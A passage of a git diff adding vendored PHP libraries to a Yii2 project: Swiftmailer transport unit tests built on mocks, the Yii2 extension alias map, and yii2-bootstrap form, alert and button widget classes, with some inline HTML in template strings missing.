$this->_createInvoker(); + $dispatcher = $this->_createEventDispatcher(); + $transport = $this->_createTransport($invoker, $dispatcher); + + $to = $this->_createHeader(); + $headers = $this->_createHeaders(array( + 'To' => $to, + )); + $message = $this->_createMessage($headers); + + $headers->shouldReceive('set') + ->once() + ->with($to); + $headers->shouldReceive('set') + ->zeroOrMoreTimes(); + $invoker->shouldReceive('mail') + ->once() + ->with(\Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any()); + + $transport->send($message); + } + + public function testSubjectHeaderIsPutBackAfterSending() + { + $invoker = $this->_createInvoker(); + $dispatcher = $this->_createEventDispatcher(); + $transport = $this->_createTransport($invoker, $dispatcher); + + $subject = $this->_createHeader(); + $headers = $this->_createHeaders(array( + 'Subject' => $subject, + )); + $message = $this->_createMessage($headers); + + $headers->shouldReceive('set') + ->once() + ->with($subject); + $headers->shouldReceive('set') + ->zeroOrMoreTimes(); + $invoker->shouldReceive('mail') + ->once() + ->with(\Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any()); + + $transport->send($message); + } + + // -- Creation Methods + + private function _createTransport($invoker, $dispatcher) + { + return new Swift_Transport_MailTransport($invoker, $dispatcher); + } + + private function _createEventDispatcher() + { + return $this->getMockery('Swift_Events_EventDispatcher')->shouldIgnoreMissing(); + } + + private function _createInvoker() + { + return $this->getMockery('Swift_Transport_MailInvoker'); + } + + private function _createMessage($headers) + { + $message = $this->getMockery('Swift_Mime_Message')->shouldIgnoreMissing(); + $message->shouldReceive('getHeaders') + ->zeroOrMoreTimes() + ->andReturn($headers); + + return $message; + } + + private function _createHeaders($headers = array()) + { + $set = $this->getMockery('Swift_Mime_HeaderSet')->shouldIgnoreMissing(); + + if (count($headers) > 0) { + foreach ($headers as $name => $header) { + $set->shouldReceive('get') + ->zeroOrMoreTimes() + ->with($name) + ->andReturn($header); + $set->shouldReceive('has') + ->zeroOrMoreTimes() + ->with($name) + ->andReturn(true); + } + } + + $header = $this->_createHeader(); + $set->shouldReceive('get') + ->zeroOrMoreTimes() + ->andReturn($header); + $set->shouldReceive('has') + ->zeroOrMoreTimes() + ->andReturn(true); + + return $set; + } + + private function _createHeader() + { + return $this->getMockery('Swift_Mime_Header')->shouldIgnoreMissing(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/SendmailTransportTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/SendmailTransportTest.php new file mode 100644 index 00000000..c704c3c3 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/SendmailTransportTest.php @@ -0,0 +1,152 @@ +_createEventDispatcher(); + } + $transport = new Swift_Transport_SendmailTransport($buf, $dispatcher); + $transport->setCommand($command); + + return $transport; + } + + protected function _getSendmail($buf, $dispatcher = null) + { + if (!$dispatcher) { + $dispatcher = $this->_createEventDispatcher(); + } + $sendmail = new Swift_Transport_SendmailTransport($buf, $dispatcher); + + return $sendmail; + } + + public function testCommandCanBeSetAndFetched() + { + $buf = $this->_getBuffer(); + $sendmail = $this->_getSendmail($buf); + + $sendmail->setCommand('/usr/sbin/sendmail -bs'); + $this->assertEquals('/usr/sbin/sendmail -bs', $sendmail->getCommand()); + $sendmail->setCommand('/usr/sbin/sendmail -oi -t'); + $this->assertEquals('/usr/sbin/sendmail -oi -t', $sendmail->getCommand()); + } + + public function testSendingMessageIn_t_ModeUsesSimplePipe() + { + $buf = $this->_getBuffer(); + $sendmail = $this->_getSendmail($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => 'Foobar', 'zip@button' => 'Zippy')); + $message->shouldReceive('toByteStream') + ->once() + ->with($buf); + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('terminate') + ->once(); + $buf->shouldReceive('setWriteTranslations') + ->once() + ->with(array("\r\n" => "\n", "\n." => "\n..")); + $buf->shouldReceive('setWriteTranslations') + ->once() + ->with(array()); + + $sendmail->setCommand('/usr/sbin/sendmail -t'); + $this->assertEquals(2, $sendmail->send($message)); + } + + public function testSendingIn_t_ModeWith_i_FlagDoesntEscapeDot() + { + $buf = $this->_getBuffer(); + $sendmail = $this->_getSendmail($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => 'Foobar', 'zip@button' => 'Zippy')); + $message->shouldReceive('toByteStream') + ->once() + ->with($buf); + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('terminate') + ->once(); + $buf->shouldReceive('setWriteTranslations') + ->once() + ->with(array("\r\n" => "\n")); + $buf->shouldReceive('setWriteTranslations') + ->once() + ->with(array()); + + $sendmail->setCommand('/usr/sbin/sendmail -i -t'); + $this->assertEquals(2, $sendmail->send($message)); + } + + public function testSendingInTModeWith_oi_FlagDoesntEscapeDot() + { + $buf = $this->_getBuffer(); + $sendmail = $this->_getSendmail($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => 'Foobar', 'zip@button' => 'Zippy')); + $message->shouldReceive('toByteStream') + ->once() + ->with($buf); + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('terminate') + ->once(); + $buf->shouldReceive('setWriteTranslations') + ->once() + ->with(array("\r\n" => "\n")); + $buf->shouldReceive('setWriteTranslations') + ->once() + ->with(array()); + + $sendmail->setCommand('/usr/sbin/sendmail -oi -t'); + $this->assertEquals(2, $sendmail->send($message)); + } + + public function testSendingMessageRegeneratesId() + { + $buf = $this->_getBuffer(); + $sendmail = $this->_getSendmail($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => 'Foobar', 'zip@button' => 'Zippy')); + $message->shouldReceive('generateId'); + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('terminate') + ->once(); + $buf->shouldReceive('setWriteTranslations') + ->once() + ->with(array("\r\n" => "\n", "\n." => "\n..")); + $buf->shouldReceive('setWriteTranslations') + ->once() + ->with(array()); + + $sendmail->setCommand('/usr/sbin/sendmail -t'); + $this->assertEquals(2, $sendmail->send($message)); + } + + public function testFluidInterface() + { + $buf = $this->_getBuffer(); + $sendmail = $this->_getTransport($buf); + + $ref = $sendmail->setCommand('/foo'); + $this->assertEquals($ref, $sendmail); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/StreamBufferTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/StreamBufferTest.php new file mode 100644 index 00000000..3ec74b3e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/StreamBufferTest.php @@ -0,0 +1,45 @@ +_createFactory(); + $factory->expects($this->once()) + ->method('createFilter') + ->with('a', 'b') + ->will($this->returnCallback(array($this, '_createFilter'))); + + $buffer = $this->_createBuffer($factory); + $buffer->setWriteTranslations(array('a' => 'b')); + } + + public function testOverridingTranslationsOnlyAddsNeededFilters() + { + $factory = $this->_createFactory(); + $factory->expects($this->exactly(2)) + ->method('createFilter') + ->will($this->returnCallback(array($this, '_createFilter'))); + + $buffer = $this->_createBuffer($factory); + $buffer->setWriteTranslations(array('a' => 'b')); + $buffer->setWriteTranslations(array('x' => 'y', 'a' => 'b')); + } + + // -- Creation methods + + private function _createBuffer($replacementFactory) + { + return new Swift_Transport_StreamBuffer($replacementFactory); + } + + private function _createFactory() + { + return $this->getMock('Swift_ReplacementFilterFactory'); + } + + public function _createFilter() + { + return $this->getMock('Swift_StreamFilter'); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/extensions.php b/php/yii2/basic/vendor/yiisoft/extensions.php new file mode 100644 index 00000000..2a2a1382 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/extensions.php @@ -0,0 +1,60 @@ + + array ( + 'name' => 'yiisoft/yii2-swiftmailer', + 'version' => '2.0.0.0', + 'alias' => + array ( + '@yii/swiftmailer' => $vendorDir . '/yiisoft/yii2-swiftmailer', + ), + ), + 'yiisoft/yii2-codeception' => + array ( + 'name' => 'yiisoft/yii2-codeception', + 'version' => '2.0.0.0', + 'alias' => + array ( + '@yii/codeception' => $vendorDir . '/yiisoft/yii2-codeception', + ), + ), + 'yiisoft/yii2-bootstrap' => + array ( + 'name' => 'yiisoft/yii2-bootstrap', + 'version' => '2.0.0.0', + 'alias' => + array ( + '@yii/bootstrap' => $vendorDir . '/yiisoft/yii2-bootstrap', + ), + ), + 'yiisoft/yii2-debug' => + array ( + 'name' => 'yiisoft/yii2-debug', + 'version' => '2.0.0.0', + 'alias' => + array ( + '@yii/debug' => $vendorDir . '/yiisoft/yii2-debug', + ), + ), + 'yiisoft/yii2-gii' => + array ( + 'name' => 'yiisoft/yii2-gii', + 'version' => '2.0.0.0', + 'alias' => + array ( + '@yii/gii' => $vendorDir . '/yiisoft/yii2-gii', + ), + ), + 'yiisoft/yii2-faker' => + array ( + 'name' => 'yiisoft/yii2-faker', + 'version' => '2.0.0.0', + 'alias' => + array ( + '@yii/faker' => $vendorDir . '/yiisoft/yii2-faker', + ), + ), +); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ActiveField.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ActiveField.php new file mode 100644 index 00000000..f24d7751 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ActiveField.php @@ -0,0 +1,383 @@ + 'horizontal']) + * + * // Form field without label + * echo $form->field($model, 'demo', [ + * 'inputOptions' => [ + * 'placeholder' => $model->getAttributeLabel('demo'), + * ], + * ])->label(false); + * + * // Inline radio list + * echo $form->field($model, 'demo')->inline()->radioList($items); + * + * // Control sizing in horizontal mode + * echo $form->field($model, 'demo', [ + * 'horizontalCssClasses' => [ + * 'wrapper' => 'col-sm-2', + * ] + * ]); + * + * // With 'default' layout you would use 'template' to size a specific field: + * // echo $form->field($model, 'demo', [ + * // 'template' => '{label}
            {input}{error}{hint}
            ' + * // ]); + * + * // Input group + * echo $form->field($model, 'demo', [ + * 'inputTemplate' => '
            @{input}
            ', + * ]); + * + * ActiveForm::end(); + * ``` + * + * @see \yii\bootstrap\ActiveForm + * @see http://getbootstrap.com/css/#forms + * + * @author Michael Härtl + * @since 2.0 + */ +class ActiveField extends \yii\widgets\ActiveField +{ + /** + * @var bool whether to render [[checkboxList()]] and [[radioList()]] inline. + */ + public $inline = false; + /** + * @var string|null optional template to render the `{input}` placeholder content + */ + public $inputTemplate; + /** + * @var array options for the wrapper tag, used in the `{beginWrapper}` placeholder + */ + public $wrapperOptions = []; + /** + * @var null|array CSS grid classes for horizontal layout. This must be an array with these keys: + * - 'offset' the offset grid class to append to the wrapper if no label is rendered + * - 'label' the label grid class + * - 'wrapper' the wrapper grid class + * - 'error' the error grid class + * - 'hint' the hint grid class + */ + public $horizontalCssClasses; + /** + * @var string the template for checkboxes in default layout + */ + public $checkboxTemplate = "
            \n{beginLabel}\n{input}\n{labelTitle}\n{endLabel}\n{error}\n{hint}\n
            "; + /** + * @var string the template for radios in default layout + */ + public $radioTemplate = "
            \n{beginLabel}\n{input}\n{labelTitle}\n{endLabel}\n{error}\n{hint}\n
            "; + /** + * @var string the template for checkboxes in horizontal layout + */ + public $horizontalCheckboxTemplate = "{beginWrapper}\n
            \n{beginLabel}\n{input}\n{labelTitle}\n{endLabel}\n
            \n{error}\n{endWrapper}\n{hint}"; + /** + * @var string the template for radio buttons in horizontal layout + */ + public $horizontalRadioTemplate = "{beginWrapper}\n
            \n{beginLabel}\n{input}\n{labelTitle}\n{endLabel}\n
            \n{error}\n{endWrapper}\n{hint}"; + /** + * @var string the template for inline checkboxLists + */ + public $inlineCheckboxListTemplate = "{label}\n{beginWrapper}\n{input}\n{error}\n{endWrapper}\n{hint}"; + /** + * @var string the template for inline radioLists + */ + public $inlineRadioListTemplate = "{label}\n{beginWrapper}\n{input}\n{error}\n{endWrapper}\n{hint}"; + /** + * @var bool whether to render the error. Default is `true` except for layout `inline`. + */ + public $enableError = true; + /** + * @var bool whether to render the label. Default is `true`. + */ + public $enableLabel = true; + + + /** + * @inheritdoc + */ + public function __construct($config = []) + { + $layoutConfig = $this->createLayoutConfig($config); + $config = ArrayHelper::merge($layoutConfig, $config); + return parent::__construct($config); + } + + /** + * @inheritdoc + */ + public function render($content = null) + { + if ($content === null) { + if (!isset($this->parts['{beginWrapper}'])) { + $options = $this->wrapperOptions; + $tag = ArrayHelper::remove($options, 'tag', 'div'); + $this->parts['{beginWrapper}'] = Html::beginTag($tag, $options); + $this->parts['{endWrapper}'] = Html::endTag($tag); + } + if ($this->enableLabel === false) { + $this->parts['{label}'] = ''; + $this->parts['{beginLabel}'] = ''; + $this->parts['{labelTitle}'] = ''; + $this->parts['{endLabel}'] = ''; + } elseif (!isset($this->parts['{beginLabel}'])) { + $this->renderLabelParts(); + } + if ($this->enableError === false) { + $this->parts['{error}'] = ''; + } + if ($this->inputTemplate) { + $input = isset($this->parts['{input}']) ? + $this->parts['{input}'] : Html::activeTextInput($this->model, $this->attribute, $this->inputOptions); + $this->parts['{input}'] = strtr($this->inputTemplate, ['{input}' => $input]); + } + } + return parent::render($content); + } + + /** + * @inheritdoc + */ + public function checkbox($options = [], $enclosedByLabel = true) + { + if ($enclosedByLabel) { + if (!isset($options['template'])) { + $this->template = $this->form->layout === 'horizontal' ? + $this->horizontalCheckboxTemplate : $this->checkboxTemplate; + } else { + $this->template = $options['template']; + unset($options['template']); + } + if ($this->form->layout === 'horizontal') { + Html::addCssClass($this->wrapperOptions, $this->horizontalCssClasses['offset']); + } + $this->labelOptions['class'] = null; + } + + return parent::checkbox($options, false); + } + + /** + * @inheritdoc + */ + public function radio($options = [], $enclosedByLabel = true) + { + if ($enclosedByLabel) { + if (!isset($options['template'])) { + $this->template = $this->form->layout === 'horizontal' ? + $this->horizontalRadioTemplate : $this->radioTemplate; + } else { + $this->template = $options['template']; + unset($options['template']); + } + if ($this->form->layout === 'horizontal') { + Html::addCssClass($this->wrapperOptions, $this->horizontalCssClasses['offset']); + } + $this->labelOptions['class'] = null; + } + + return parent::radio($options, false); + } + + /** + * @inheritdoc + */ + public function checkboxList($items, $options = []) + { + if ($this->inline) { + if (!isset($options['template'])) { + $this->template = $this->inlineCheckboxListTemplate; + } else { + $this->template = $options['template']; + unset($options['template']); + } + if (!isset($options['itemOptions'])) { + $options['itemOptions'] = [ + 'labelOptions' => ['class' => 'checkbox-inline'], + ]; + } + } elseif (!isset($options['item'])) { + $options['item'] = function ($index, $label, $name, $checked, $value) { + return '
            ' . Html::checkbox($name, $checked, ['label' => $label, 'value' => $value]) . '
            '; + }; + } + parent::checkboxList($items, $options); + return $this; + } + + /** + * @inheritdoc + */ + public function radioList($items, $options = []) + { + if ($this->inline) { + if (!isset($options['template'])) { + $this->template = $this->inlineRadioListTemplate; + } else { + $this->template = $options['template']; + unset($options['template']); + } + if (!isset($options['itemOptions'])) { + $options['itemOptions'] = [ + 'labelOptions' => ['class' => 'radio-inline'], + ]; + } + } elseif (!isset($options['item'])) { + $options['item'] = function ($index, $label, $name, $checked, $value) { + return '
            ' . Html::radio($name, $checked, ['label' => $label, 'value' => $value]) . '
            '; + }; + } + parent::radioList($items, $options); + return $this; + } + + /** + * @inheritdoc + */ + public function label($label = null, $options = []) + { + if (is_bool($label)) { + $this->enableLabel = $label; + if ($label === false && $this->form->layout === 'horizontal') { + Html::addCssClass($this->wrapperOptions, $this->horizontalCssClasses['offset']); + } + } else { + $this->enableLabel = true; + $this->renderLabelParts($label, $options); + parent::label($label, $options); + } + return $this; + } + + /** + * @param bool $value whether to render a inline list + * @return static the field object itself + * Make sure you call this method before [[checkboxList()]] or [[radioList()]] to have any effect. + */ + public function inline($value = true) + { + $this->inline = (bool)$value; + return $this; + } + + /** + * @param array $instanceConfig the configuration passed to this instance's constructor + * @return array the layout specific default configuration for this instance + */ + protected function createLayoutConfig($instanceConfig) + { + $config = [ + 'hintOptions' => [ + 'tag' => 'p', + 'class' => 'help-block', + ], + 'errorOptions' => [ + 'tag' => 'p', + 'class' => 'help-block help-block-error', + ], + 'inputOptions' => [ + 'class' => 'form-control', + ], + ]; + + $layout = $instanceConfig['form']->layout; + + if ($layout === 'horizontal') { + $config['template'] = "{label}\n{beginWrapper}\n{input}\n{error}\n{endWrapper}\n{hint}"; + $cssClasses = [ + 'offset' => 'col-sm-offset-3', + 'label' => 'col-sm-3', + 'wrapper' => 'col-sm-6', + 'error' => '', + 'hint' => 'col-sm-3', + ]; + if (isset($instanceConfig['horizontalCssClasses'])) { + $cssClasses = ArrayHelper::merge($cssClasses, $instanceConfig['horizontalCssClasses']); + } + $config['horizontalCssClasses'] = $cssClasses; + $config['wrapperOptions'] = ['class' => $cssClasses['wrapper']]; + $config['labelOptions'] = ['class' => 'control-label ' . $cssClasses['label']]; + $config['errorOptions'] = ['class' => 'help-block help-block-error ' . $cssClasses['error']]; + $config['hintOptions'] = ['class' => 'help-block ' . $cssClasses['hint']]; + } elseif ($layout === 'inline') { + $config['labelOptions'] = ['class' => 'sr-only']; + $config['enableError'] = false; + } + + return $config; + } + + /** + * @param string|null $label the label or null to use model label + * @param array $options the tag options + */ + protected function renderLabelParts($label = null, $options = []) + { + $options = array_merge($this->labelOptions, $options); + if ($label === null) { + if (isset($options['label'])) { + $label = $options['label']; + unset($options['label']); + } else { + $attribute = Html::getAttributeName($this->attribute); + $label = Html::encode($this->model->getAttributeLabel($attribute)); + } + } + $this->parts['{beginLabel}'] = Html::beginTag('label', $options); + $this->parts['{endLabel}'] = Html::endTag('label'); + $this->parts['{labelTitle}'] = $label; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ActiveForm.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ActiveForm.php new file mode 100644 index 00000000..9ff20d79 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ActiveForm.php @@ -0,0 +1,101 @@ + 'horizontal']) + * ``` + * + * This will set default values for the [[yii\bootstrap\ActiveField|ActiveField]] + * to render horizontal form fields. In particular the [[yii\bootstrap\ActiveField::template|template]] + * is set to `{label} {beginWrapper} {input} {error} {endWrapper} {hint}` and the + * [[yii\bootstrap\ActiveField::horizontalCssClasses|horizontalCssClasses]] are set to: + * + * ```php + * [ + * 'offset' => 'col-sm-offset-3', + * 'label' => 'col-sm-3', + * 'wrapper' => 'col-sm-6', + * 'error' => '', + * 'hint' => 'col-sm-3', + * ] + * ``` + * + * To get a different column layout in horizontal mode you can modify those options + * through [[fieldConfig]]: + * + * ```php + * $form = ActiveForm::begin([ + * 'layout' => 'horizontal', + * 'fieldConfig' => [ + * 'template' => "{label}\n{beginWrapper}\n{input}\n{hint}\n{error}\n{endWrapper}", + * 'horizontalCssClasses' => [ + * 'label' => 'col-sm-4', + * 'offset' => 'col-sm-offset-4', + * 'wrapper' => 'col-sm-8', + * 'error' => '', + * 'hint' => '', + * ], + * ], + * ]); + * ``` + * + * @see \yii\bootstrap\ActiveField for details on the [[fieldConfig]] options + * @see http://getbootstrap.com/css/#forms + * + * @author Michael Härtl + * @since 2.0 + */ +class ActiveForm extends \yii\widgets\ActiveForm +{ + /** + * @var string the default field class name when calling [[field()]] to create a new field. + * @see fieldConfig + */ + public $fieldClass = 'yii\bootstrap\ActiveField'; + /** + * @var array HTML attributes for the form tag. Default is `['role' => 'form']`. + */ + public $options = ['role' => 'form']; + /** + * @var string the form layout. Either 'default', 'horizontal' or 'inline'. + * By choosing a layout, an appropriate default field configuration is applied. This will + * render the form fields with slightly different markup for each layout. You can + * override these defaults through [[fieldConfig]]. + * @see \yii\bootstrap\ActiveField for details on Bootstrap 3 field configuration + */ + public $layout = 'default'; + + + /** + * @inheritdoc + */ + public function init() + { + if (!in_array($this->layout, ['default', 'horizontal', 'inline'])) { + throw new InvalidConfigException('Invalid layout type: ' . $this->layout); + } + + if ($this->layout !== 'default') { + Html::addCssClass($this->options, 'form-' . $this->layout); + } + parent::init(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Alert.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Alert.php new file mode 100644 index 00000000..287385a5 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Alert.php @@ -0,0 +1,151 @@ + [ + * 'class' => 'alert-info', + * ], + * 'body' => 'Say hello...', + * ]); + * ``` + * + * The following example will show the content enclosed between the [[begin()]] + * and [[end()]] calls within the alert box: + * + * ```php + * Alert::begin([ + * 'options' => [ + * 'class' => 'alert-warning', + * ], + * ]); + * + * echo 'Say hello...'; + * + * Alert::end(); + * ``` + * + * @see http://getbootstrap.com/components/#alerts + * @author Antonio Ramirez + * @since 2.0 + */ +class Alert extends Widget +{ + /** + * @var string the body content in the alert component. Note that anything between + * the [[begin()]] and [[end()]] calls of the Alert widget will also be treated + * as the body content, and will be rendered before this. + */ + public $body; + /** + * @var array the options for rendering the close button tag. + * The close button is displayed in the header of the modal window. Clicking + * on the button will hide the modal window. If this is false, no close button will be rendered. + * + * The following special options are supported: + * + * - tag: string, the tag name of the button. Defaults to 'button'. + * - label: string, the label of the button. Defaults to '×'. + * + * The rest of the options will be rendered as the HTML attributes of the button tag. + * Please refer to the [Alert documentation](http://getbootstrap.com/components/#alerts) + * for the supported HTML attributes. + */ + public $closeButton = []; + + + /** + * Initializes the widget. + */ + public function init() + { + parent::init(); + + $this->initOptions(); + + echo Html::beginTag('div', $this->options) . "\n"; + echo $this->renderBodyBegin() . "\n"; + } + + /** + * Renders the widget. + */ + public function run() + { + echo "\n" . $this->renderBodyEnd(); + echo "\n" . Html::endTag('div'); + + $this->registerPlugin('alert'); + } + + /** + * Renders the close button if any before rendering the content. + * @return string the rendering result + */ + protected function renderBodyBegin() + { + return $this->renderCloseButton(); + } + + /** + * Renders the alert body (if any). + * @return string the rendering result + */ + protected function renderBodyEnd() + { + return $this->body . "\n"; + } + + /** + * Renders the close button. + * @return string the rendering result + */ + protected function renderCloseButton() + { + if ($this->closeButton !== false) { + $tag = ArrayHelper::remove($this->closeButton, 'tag', 'button'); + $label = ArrayHelper::remove($this->closeButton, 'label', '×'); + if ($tag === 'button' && !isset($this->closeButton['type'])) { + $this->closeButton['type'] = 'button'; + } + + return Html::tag($tag, $label, $this->closeButton); + } else { + return null; + } + } + + /** + * Initializes the widget options. + * This method sets the default values for various options. + */ + protected function initOptions() + { + Html::addCssClass($this->options, 'alert'); + Html::addCssClass($this->options, 'fade'); + Html::addCssClass($this->options, 'in'); + + if ($this->closeButton !== false) { + $this->closeButton = array_merge([ + 'data-dismiss' => 'alert', + 'aria-hidden' => 'true', + 'class' => 'close', + ], $this->closeButton); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/BootstrapAsset.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/BootstrapAsset.php new file mode 100644 index 00000000..313a7870 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/BootstrapAsset.php @@ -0,0 +1,24 @@ + + * @since 2.0 + */ +class BootstrapAsset extends AssetBundle +{ + public $sourcePath = '@bower/bootstrap/dist'; + public $css = [ + 'css/bootstrap.css', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/BootstrapPluginAsset.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/BootstrapPluginAsset.php new file mode 100644 index 00000000..6af1adcf --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/BootstrapPluginAsset.php @@ -0,0 +1,28 @@ + + * @since 2.0 + */ +class BootstrapPluginAsset extends AssetBundle +{ + public $sourcePath = '@bower/bootstrap/dist'; + public $js = [ + 'js/bootstrap.js', + ]; + public $depends = [ + 'yii\web\JqueryAsset', + 'yii\bootstrap\BootstrapAsset', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/BootstrapThemeAsset.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/BootstrapThemeAsset.php new file mode 100644 index 00000000..60747a90 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/BootstrapThemeAsset.php @@ -0,0 +1,27 @@ + + * @since 2.0 + */ +class BootstrapThemeAsset extends AssetBundle +{ + public $sourcePath = '@bower/bootstrap/dist'; + public $css = [ + 'css/bootstrap-theme.css', + ]; + public $depends = [ + 'yii\bootstrap\BootstrapAsset', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Button.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Button.php new file mode 100644 index 00000000..0c21a3eb --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Button.php @@ -0,0 +1,62 @@ + 'Action', + * 'options' => ['class' => 'btn-lg'], + * ]); + * ``` + * @see http://getbootstrap.com/javascript/#buttons + * @author Antonio Ramirez + * @since 2.0 + */ +class Button extends Widget +{ + /** + * @var string the tag to use to render the button + */ + public $tagName = 'button'; + /** + * @var string the button label + */ + public $label = 'Button'; + /** + * @var boolean whether the label should be HTML-encoded. + */ + public $encodeLabel = true; + + + /** + * Initializes the widget. + * If you override this method, make sure you call the parent implementation first. + */ + public function init() + { + parent::init(); + $this->clientOptions = false; + Html::addCssClass($this->options, 'btn'); + } + + /** + * Renders the widget. + */ + public function run() + { + echo Html::tag($this->tagName, $this->encodeLabel ? Html::encode($this->label) : $this->label, $this->options); + $this->registerPlugin('button'); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ButtonDropdown.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ButtonDropdown.php new file mode 100644 index 00000000..5fc6f628 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ButtonDropdown.php @@ -0,0 +1,128 @@ + 'Action', + * 'dropdown' => [ + * 'items' => [ + * ['label' => 'DropdownA', 'url' => '/'], + * ['label' => 'DropdownB', 'url' => '#'], + * ], + * ], + * ]); + * ``` + * @see http://getbootstrap.com/javascript/#buttons + * @see http://getbootstrap.com/components/#btn-dropdowns + * @author Antonio Ramirez + * @since 2.0 + */ +class ButtonDropdown extends Widget +{ + /** + * @var string the button label + */ + public $label = 'Button'; + /** + * @var array the HTML attributes of the button. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = []; + /** + * @var array the configuration array for [[Dropdown]]. + */ + public $dropdown = []; + /** + * @var boolean whether to display a group of split-styled button group. + */ + public $split = false; + /** + * @var string the tag to use to render the button + */ + public $tagName = 'button'; + /** + * @var boolean whether the label should be HTML-encoded. + */ + public $encodeLabel = true; + + + /** + * Renders the widget. + */ + public function run() + { + echo Html::beginTag('div', ['class' => 'btn-group']); + echo "\n" . $this->renderButton(); + echo "\n" . $this->renderDropdown(); + echo "\n" . Html::endTag('div'); + $this->registerPlugin('button'); + } + + /** + * Generates the button dropdown. + * @return string the rendering result. + */ + protected function renderButton() + { + Html::addCssClass($this->options, 'btn'); + $label = $this->label; + if ($this->encodeLabel) { + $label = Html::encode($label); + } + if ($this->split) { + $options = $this->options; + $this->options['data-toggle'] = 'dropdown'; + Html::addCssClass($this->options, 'dropdown-toggle'); + $splitButton = Button::widget([ + 'label' => '', + 'encodeLabel' => false, + 'options' => $this->options, + 'view' => $this->getView(), + ]); + } else { + $label .= ' '; + $options = $this->options; + if (!isset($options['href'])) { + $options['href'] = '#'; + } + Html::addCssClass($options, 'dropdown-toggle'); + $options['data-toggle'] = 'dropdown'; + $splitButton = ''; + } + + return Button::widget([ + 'tagName' => $this->tagName, + 'label' => $label, + 'options' => $options, + 'encodeLabel' => false, + 'view' => $this->getView(), + ]) . "\n" . $splitButton; + } + + /** + * Generates the dropdown menu. + * @return string the rendering result. + */ + protected function renderDropdown() + { + $config = $this->dropdown; + $config['clientOptions'] = false; + $config['view'] = $this->getView(); + + return Dropdown::widget($config); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ButtonGroup.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ButtonGroup.php new file mode 100644 index 00000000..7066b963 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/ButtonGroup.php @@ -0,0 +1,99 @@ + [ + * ['label' => 'A'], + * ['label' => 'B'], + * ] + * ]); + * + * // button group with an item as a string + * echo ButtonGroup::widget([ + * 'buttons' => [ + * Button::widget(['label' => 'A']), + * ['label' => 'B'], + * ] + * ]); + * ``` + * @see http://getbootstrap.com/javascript/#buttons + * @see http://getbootstrap.com/components/#btn-groups + * @author Antonio Ramirez + * @since 2.0 + */ +class ButtonGroup extends Widget +{ + /** + * @var array list of buttons. Each array element represents a single button + * which can be specified as a string or an array of the following structure: + * + * - label: string, required, the button label. + * - options: array, optional, the HTML attributes of the button. + */ + public $buttons = []; + /** + * @var boolean whether to HTML-encode the button labels. + */ + public $encodeLabels = true; + + + /** + * Initializes the widget. + * If you override this method, make sure you call the parent implementation first. + */ + public function init() + { + parent::init(); + Html::addCssClass($this->options, 'btn-group'); + } + + /** + * Renders the widget. + */ + public function run() + { + echo Html::tag('div', $this->renderButtons(), $this->options); + BootstrapAsset::register($this->getView()); + } + + /** + * Generates the buttons that compound the group as specified on [[buttons]]. + * @return string the rendering result. + */ + protected function renderButtons() + { + $buttons = []; + foreach ($this->buttons as $button) { + if (is_array($button)) { + $label = ArrayHelper::getValue($button, 'label'); + $options = ArrayHelper::getValue($button, 'options'); + 